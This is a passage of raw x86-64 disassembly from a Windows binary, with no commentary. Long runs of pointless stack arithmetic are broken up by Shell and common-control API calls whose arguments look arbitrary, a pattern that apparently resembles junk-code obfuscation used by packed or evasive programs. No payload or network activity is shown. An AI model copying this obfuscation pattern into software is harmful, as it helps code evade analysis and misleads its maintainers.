mov rcx, qword [rsp + 0xd638]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ee8], rax
mov rax, qword [rsp + 0x9660]
mov rcx, qword [rsp + 0x9448]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d48], rax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2bfc], ax
mov dword [rsp + 0x28], 0x1f
lea rax, [rsp + 0xda30]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd530]
mov r8d, SHUpdateImageW
mov edx, 0x6b
mov rcx, qword [rsp + 0xcdd8]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov word [rsp + 0x2c18], ax
mov eax, dword [rsp + 0x6e18]
mov ecx, dword [rsp + 0x6e14]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d10], eax
mov rax, qword [rsp + 0xd5d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0e8]
mov qword [rsp + 0xdae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdae0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xa498], rax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x516]
shl eax, cl
mov byte [rsp + 0x338], al
mov rax, qword [rsp + 0xd7a8]
mov rcx, qword [rsp + 0xd650]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0xd5b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd770]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14019f190]
mov word [rcx], ax
movzx eax, word [rsp + 0x2b2c]
mov word [rsp + 0x2c1c], ax
movzx eax, byte [rsp + 0x4fc]
movzx ecx, byte [rsp + 0x51a]
sub eax, ecx
mov byte [rsp + 0x4fa], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov dword [rsp + 0x6e20], eax
mov rax, qword [rsp + 0xbd38]
movzx ecx, al
mov rax, qword [rsp + 0xaa88]
shl rax, cl
mov qword [rsp + 0xc880], rax
mov rax, qword [rsp + 0xd358]
mov rcx, qword [rsp + 0xd9a8]
mov qword [rsp + 0xdae8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdae8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xd248]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [0x14019f198]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x2cb], al
mov rax, qword [rsp + 0xda70]
mov ecx, dword [rsp + 0x6afc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6da8], eax
mov rax, qword [rsp + 0xd0b0]
movzx eax, word [rax]
mov word [rsp + 0x2c20], ax
lea rcx, [rsp + 0x1f020]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x6d38], eax
movzx eax, word [rsp + 0x2af4]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019d0ac], ax
mov rax, qword [rsp + 0xaa88]
mov rcx, qword [rsp + 0xd290]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc338], rax
movzx eax, word [rsp + 0x2ab0]
movzx ecx, word [rsp + 0xf84]
xor eax, ecx
mov word [rsp + 0x131c], ax
mov rax, qword [0x14019f088]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b78]
or eax, ecx
mov word [rsp + 0x2160], ax
mov rax, qword [rsp + 0x9b60]
mov rcx, qword [rsp + 0xce78]
mov qword [rsp + 0xdaf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdaf0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xda98], rax
mov rax, qword [0x14019f180]
movzx eax, byte [rax]
mov byte [rsp + 0x526], al
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd5d0]
mov qword [rsp + 0xdaf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdaf8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd358], rax
mov eax, dword [rsp + 0x6b54]
mov ecx, dword [rsp + 0x6dc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6da0], eax
lea rax, [0x14019f03c]
mov qword [rsp + 0xdb00], rax
mov dword [rsp + 0x20], reloc.SHELL32.dll_ILGetSize
lea r9, [rsp + 0xd168]
mov r8d, reloc.SHELL32.dll_SHSetInstanceExplorer
lea rdx, [rsp + 0xd3c0]
lea rcx, [rsp + 0x23110]
call qword [sym.imp.SHELL32.dll_SHGetDataFromIDListW]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xa0e8]
mov qword [0x14019f1b8], rax
mov rax, qword [rsp + 0xd1a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x502]
add eax, ecx
mov rcx, qword [rsp + 0xd740]
mov byte [rcx], al
mov eax, dword [rsp + 0x6dbc]
mov dword [rsp + 0x6e24], eax
movsx eax, word [0x14019d068]
mov rcx, qword [rsp + 0xced0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a38], ax
movzx eax, word [rsp + 0x2890]
mov rcx, qword [rsp + 0xd4a8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2580], ax
mov rax, qword [rsp + 0xd248]
mov rcx, qword [rsp + 0xd210]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xd658], rax
movsx eax, byte [rsp + 0x50c]
mov rcx, qword [rsp + 0xd180]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x4e5], al
mov rax, qword [rsp + 0xcfb0]
mov eax, dword [rax]
mov dword [rsp + 0x6e28], eax
mov rax, qword [0x14019efb8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xda00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dfc], ax
mov rax, qword [rsp + 0xcf28]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b60]
sub eax, ecx
mov word [0x14019f1b0], ax
mov rax, qword [0x14019f0e8]
mov rcx, qword [rsp + 0xd998]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb370], rax
mov rax, qword [rsp + 0xd5c8]
mov rcx, qword [rsp + 0xd558]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd998], rax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb590]
sar rax, cl
mov rcx, qword [rsp + 0xd720]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd818]
movzx eax, word [rax]
mov word [rsp + 0x2c24], ax
mov rax, qword [rsp + 0xda68]
mov rcx, qword [rsp + 0xd248]
mov qword [rsp + 0xdb08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb08]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc4b8], rax
mov eax, dword [rsp + 0x6d5c]
mov dword [rsp + 0x6e2c], eax
mov rax, qword [rsp + 0xd628]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef91]
or eax, ecx
mov byte [rsp + 0x51d], al
mov rax, qword [rsp + 0xd0c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd550]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x523], al
mov rax, qword [rsp + 0xd098]
mov ecx, dword [rsp + 0x6c78]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5e88], eax
lea rax, [rsp + 0x151c]
mov qword [0x14019f1c0], rax
movzx eax, word [rsp + 0x2580]
movzx ecx, word [rsp + 0x2ae4]
add eax, ecx
mov word [rsp + 0x2bbc], ax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0xd1c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd1e0], rax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xa1]
or eax, ecx
mov byte [rsp + 0x4e1], al
lea rax, [rsp + 0xd8a8]
mov qword [rsp + 0xdb10], rax
mov rax, qword [rsp + 0xd058]
mov eax, dword [rax]
mov rcx, qword [0x14019efc8]
mov qword [rsp + 0xdb18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb18]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6e14], eax
mov r9d, 0x25
mov r8d, reloc.COMCTL32.dll_MakeDragList
mov edx, LBItemFromPt
mov rcx, qword [rsp + 0xdb20]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0xdb28], rax
movsx eax, word [rsp + 0x1390]
mov rcx, qword [rsp + 0xd750]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x28ac], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [0x14019f058]
add eax, ecx
mov rcx, qword [rsp + 0xd620]
mov word [rcx], ax
mov rax, qword [rsp + 0xd6d0]
mov rcx, qword [rsp + 0xd310]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14019d0f0], rax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
mov word [rsp + 0x2c2c], ax
mov edx, 0x92
lea rcx, [rsp + 0x1fb60]
call qword [sym.imp.SHELL32.dll_SHMultiFileProperties]
mov dword [rsp + 0x6bc4], eax
mov rax, qword [rsp + 0xd408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5f0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd0d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad38]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd890]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0xd840]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xadb8], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x158]
sar eax, cl
mov rcx, qword [rsp + 0xd970]
mov byte [rcx], al
lea rax, [rsp + 0x6d78]
mov qword [rsp + 0xdb30], rax
movzx eax, byte [rsp + 0x4f6]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x502], al
mov eax, dword [rsp + 0x5ab4]
movzx ecx, al
mov eax, dword [rsp + 0x6d48]
shl eax, cl
mov dword [rsp + 0x5ad8], eax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2284]
sub eax, ecx
mov word [0x14019f068], ax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x2c30], ax
movzx eax, word [rsp + 0x24fc]
mov rcx, qword [rsp + 0xd800]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2aa0], ax
movzx eax, word [rsp + 0x2be0]
mov word [rsp + 0x2c34], ax
mov rax, qword [rsp + 0xd9a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd730]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd1c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd218]
mov byte [rcx], al
mov rax, qword [0x14019f158]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xd960]
mov qword [rsp + 0xdb38], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb38]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6b88], eax
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2acc]
shl eax, cl
mov rcx, qword [rsp + 0xced0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd160]
movzx eax, word [rax]
mov word [rsp + 0x2c38], ax
mov rax, qword [0x14019f118]
mov rcx, qword [rsp + 0x9428]
or rcx, rax
mov rax, rcx
mov qword [0x14019d088], rax
mov rax, qword [rsp + 0xd5a0]
mov rcx, qword [rsp + 0xd408]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcfe8], rax
mov rax, qword [rsp + 0xda90]
mov rcx, qword [rsp + 0xd6c8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb768], rax
mov rax, qword [0x14019f048]
mov rcx, qword [rsp + 0xd5a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd3d0], rax
mov rax, qword [rsp + 0xd630]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xba0]
or eax, ecx
mov word [rsp + 0x2b60], ax
movzx eax, byte [rsp + 0x4ef]
mov byte [rsp + 0x527], al
mov eax, dword [rsp + 0x60c4]
mov rcx, qword [rsp + 0xda60]
mov qword [rsp + 0xdb40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6450], eax
lea rax, [rsp + 0xcf50]
mov qword [rsp + 0x20], rax
mov r9d, 0xa1
lea r8, [rsp + 0xcdf8]
lea rdx, [rsp + 0x1efc0]
lea rcx, [rsp + 0x225a0]
call qword [sym.imp.SHELL32.dll_SHParseDisplayName]
mov dword [rsp + 0x6bc4], eax
mov eax, dword [rsp + 0x6098]
mov dword [rsp + 0x6e30], eax
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd110]
mov qword [rsp + 0xdb48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb48]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xd568], rax
mov rax, qword [rsp + 0xd970]
movzx eax, byte [rax]
mov byte [0x14019ef96], al
movsx eax, word [rsp + 0x213c]
mov rcx, qword [rsp + 0xd878]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11b4], ax
movsx eax, word [rsp + 0x2b30]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f68], ax
movzx eax, word [rsp + 0x2a4c]
movzx ecx, word [rsp + 0x2a94]
add eax, ecx
mov word [rsp + 0x2afc], ax
lea rcx, [rsp + 0x209d0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x6c38], eax
mov rax, qword [rsp + 0xd6c8]
mov qword [rsp + 0xdb50], rax
mov rax, qword [rsp + 0xda88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5ea4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6de0], eax
mov rax, qword [rsp + 0xd4f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4d8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd468]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd970]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x445], al
movsx eax, word [rsp + 0x1548]
movsx ecx, word [rsp + 0x2c30]
or eax, ecx
mov word [rsp + 0x2c14], ax
mov rax, qword [rsp + 0xd4a8]
movzx eax, word [rax]
mov word [0x14019f1c8], ax
mov rax, qword [rsp + 0xd478]
mov rax, qword [rax]
mov qword [rsp + 0xdb58], rax
mov rax, qword [rsp + 0xd5f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xd910]
mov word [rcx], ax
mov rax, qword [rsp + 0xda60]
mov rcx, qword [rsp + 0xda28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6e24], eax
mov rax, qword [rsp + 0xd550]
movzx eax, byte [rax]
mov byte [rsp + 0x528], al
mov eax, dword [rsp + 0x5b50]
movzx ecx, al
mov eax, dword [0x14019d060]
shr eax, cl
mov dword [rsp + 0x6cf8], eax
mov rax, qword [rsp + 0xd970]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xd628]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x26f], al
mov rax, qword [rsp + 0xd178]
mov rcx, qword [rsp + 0xdb10]
mov qword [rsp + 0xdb60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdb60]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd0e8]
mov qword [rcx], rax
lea rax, [rsp + 0xd68]
mov qword [rsp + 0xdb68], rax
mov rax, qword [rsp + 0xd8e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x28e0]
sar eax, cl
mov word [0x14019d0a8], ax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [0x14019d0a0]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9d98], rax
mov rax, qword [rsp + 0xd250]
mov rcx, qword [rsp + 0x8e20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd590], rax
lea rax, [rsp + 0xd68]
mov qword [rsp + 0xdb70], rax
mov rax, qword [rsp + 0xd828]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a70]
sub eax, ecx
mov word [rsp + 0x2c1c], ax
movzx eax, byte [rsp + 0x18d]
mov byte [rsp + 0x529], al
mov rax, qword [rsp + 0xda88]
mov ecx, dword [rsp + 0x58e0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd118]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xd6c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xda48], rax
mov rax, qword [rsp + 0xd298]
mov rcx, qword [rsp + 0xd720]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa3d0], rax
movsx eax, word [rsp + 0x1dfc]
mov rcx, qword [rsp + 0xd398]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d0f8], ax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1180]
xor eax, ecx
mov word [rsp + 0x1d98], ax
mov rax, qword [rsp + 0xd098]
mov eax, dword [rax]
mov dword [rsp + 0x6e34], eax
movzx eax, byte [rsp + 0x4e9]
movzx ecx, byte [0x14019d010]
and eax, ecx
mov rcx, qword [rsp + 0xd1a0]
mov byte [rcx], al
mov rax, qword [rsp + 0xcfe0]
mov rcx, qword [rsp + 0xd768]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xcec0], rax
mov dword [rsp + 0x20], 0xcf
lea r9, [rsp + 0x209d0]
mov r8, qword [rsp + 0xd2b8]
mov rdx, qword [rsp + 0xd718]
mov rcx, qword [rsp + 0xd2c8]
call qword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [rsp + 0x6e38], eax
lea rax, [rsp + 0xdac0]
mov qword [rsp + 0xdb78], rax
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6e08]
shl eax, cl
mov dword [rsp + 0x6c24], eax
mov rax, qword [rsp + 0xd0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xce70]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x329], al
movsx eax, word [rsp + 0xe78]
mov rcx, qword [0x14019efb8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b30], ax
mov r8d, 0xc1
mov rdx, qword [rsp + 0xd360]
mov rcx, qword [rsp + 0xd130]
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov qword [rsp + 0xdb80], rax
movzx eax, word [rsp + 0x2a60]
movzx ecx, word [rsp + 0x2b8c]
sub eax, ecx
mov word [0x14019f18c], ax
mov rax, qword [rsp + 0xd450]
movzx ecx, al
mov rax, qword [rsp + 0xb768]
shl rax, cl
mov qword [rsp + 0x9d48], rax
mov rax, qword [rsp + 0xd700]
movzx eax, word [rax]
mov word [rsp + 0x2c3c], ax
xor r8d, r8d
lea rdx, [rsp + 0xcdf8]
lea rcx, [rsp + 0xd668]
call qword [sym.imp.SHELL32.dll_ILAppendID]
mov qword [rsp + 0xcf00], rax
mov rax, qword [rsp + 0xd188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a50], ax
mov rax, qword [rsp + 0xd440]
mov qword [rsp + 0xdb88], rax
mov rax, qword [rsp + 0xd488]
movsx eax, byte [rax]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd9f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xdb78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xccc8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa410], rax
mov rax, qword [rsp + 0xd338]
mov rcx, qword [rsp + 0xcfb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e08], eax
movzx eax, word [rsp + 0x2ae0]
movzx ecx, word [rsp + 0xf84]
and eax, ecx
mov word [rsp + 0x2c3c], ax
mov rax, qword [rsp + 0xd780]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019d050], rax
mov rax, qword [rsp + 0xdb30]
mov eax, dword [rax]
mov dword [rsp + 0x6e3c], eax
mov rax, qword [rsp + 0xd9e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x51a]
or eax, ecx
mov byte [rsp + 0x4e8], al
movsx eax, word [rsp + 0x2acc]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x252c], ax
movzx eax, word [rsp + 0x1d98]
mov rcx, qword [rsp + 0xd828]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xd8b0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd158]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3e7]
sub eax, ecx
mov rcx, qword [rsp + 0xce70]
mov byte [rcx], al
mov rax, qword [rsp + 0xd338]
mov eax, dword [rax]
mov dword [rsp + 0x6e40], eax
mov rax, qword [rsp + 0xd3b8]
mov rcx, qword [rsp + 0xd608]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd610], rax
lea rax, [rsp + 0x2a8c]
mov qword [rsp + 0xdb90], rax
mov rax, qword [rsp + 0xdb00]
movzx eax, word [rax]
mov word [0x14019f1cc], ax
mov rax, qword [rsp + 0xd0d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd500]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb88], rax
mov rax, qword [rsp + 0xdab8]
mov rcx, qword [rsp + 0xd3d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9d48], rax
lea rax, [rsp + 0xd870]
mov qword [rsp + 0xdb98], rax
movsx eax, word [0x14019d034]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b0c], ax
movzx eax, byte [rsp + 0x149]
mov byte [rsp + 0x52a], al
mov eax, dword [rsp + 0x6d10]
mov rcx, qword [rsp + 0xd3d8]
mov qword [rsp + 0xdba0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdba0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5e40], eax
mov rax, qword [0x14019f0f8]
mov rcx, qword [rsp + 0xa0a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcb68], rax
mov rax, qword [rsp + 0xce60]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd740]
mov byte [rcx], al
mov rax, qword [rsp + 0xd0f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6df4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d80], eax
movsx eax, word [rsp + 0x1810]
movsx ecx, word [rsp + 0x2b20]
and eax, ecx
mov rcx, qword [0x14019f028]
mov word [rcx], ax
movzx eax, word [rsp + 0x2afc]
mov word [rsp + 0x2c40], ax
movzx eax, word [rsp + 0x2afc]
movzx ecx, word [0x14019d0d0]
or eax, ecx
mov word [rsp + 0x2af4], ax
mov rax, qword [rsp + 0xd720]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9448]
sar rax, cl
mov qword [rsp + 0x9e78], rax
mov rax, qword [rsp + 0xd0f0]
movzx ecx, al
mov rax, qword [rsp + 0xd978]
shl rax, cl
mov qword [rsp + 0xb658], rax
imul eax, dword [rsp + 0x6e10], 0x5a2f
mov dword [rsp + 0x6d20], eax
mov rax, qword [rsp + 0xd218]
movzx eax, byte [rax]
mov byte [rsp + 0x52b], al
mov rax, qword [rsp + 0xd258]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd2d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c10], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
mov word [rsp + 0x2c44], ax
mov rax, qword [rsp + 0xd2e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ff8]
add rcx, rax
mov rax, rcx
mov qword [0x14019d100], rax
movzx eax, word [rsp + 0x2ab0]
mov rcx, qword [rsp + 0xcf28]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd5f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xd388]
mov rcx, qword [rsp + 0x9660]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd8f0], rax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0xd0d8]
mov qword [rsp + 0xdba8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdba8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa6f8], rax
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019f0c8]
shl eax, cl
mov dword [rsp + 0x6dcc], eax
mov rax, qword [rsp + 0xd518]
mov qword [rsp + 0xdbb0], rax
movzx eax, byte [rsp + 0x521]
mov rcx, qword [rsp + 0xce60]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xd550]
mov byte [rcx], al
mov rax, qword [rsp + 0xd150]
mov rcx, qword [rsp + 0xdb30]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6da4], eax
mov rax, qword [rsp + 0xd9f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
add eax, ecx
mov byte [rsp + 0x440], al
mov rax, qword [0x14019f190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2ac0]
and eax, ecx
mov word [0x14019d094], ax
mov rax, qword [rsp + 0xdb70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd9b8]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x13d8], ax
lea rdx, [rsp + 0xd7c8]
lea rcx, [rsp + 0x1e370]
call qword [sym.imp.SHELL32.dll_ILCombine]
mov qword [rsp + 0xcf18], rax
mov rax, qword [rsp + 0xd8a0]
movzx eax, word [rax]
mov word [rsp + 0x2c48], ax
mov rax, qword [0x14019efd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd910]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14a0], ax
movzx eax, byte [rsp + 0x445]
mov byte [rsp + 0x52c], al
mov rax, qword [rsp + 0xcef0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd248]
mov qword [rsp + 0xdbb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xdbb8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xd1c8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5ea4]
mov ecx, dword [rsp + 0x6d28]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5cf0], eax
movsx eax, word [rsp + 0x2aec]
mov rcx, qword [rsp + 0xd7d8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1d00], ax
mov rax, qword [rsp + 0xd8c8]
movzx eax, word [rax]
mov rcx, qword [0x14019f100]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0xda20]
mov rax, qword [rax]
mov qword [0x14019f1d0], rax
mov rax, qword [rsp + 0x9428]
mov qword [rsp + 0xdbc0], rax
mov rax, qword [rsp + 0xda90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xd558], rax
mov rax, qword [rsp + 0xd5a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd000]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb590], rax
movzx eax, word [rsp + 0x2c48]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12b8], ax
mov rax, qword [rsp + 0xd740]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xd1d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x528], al
lea rax, [rsp + 0x59f0]
mov qword [rsp + 0xdbc8], rax
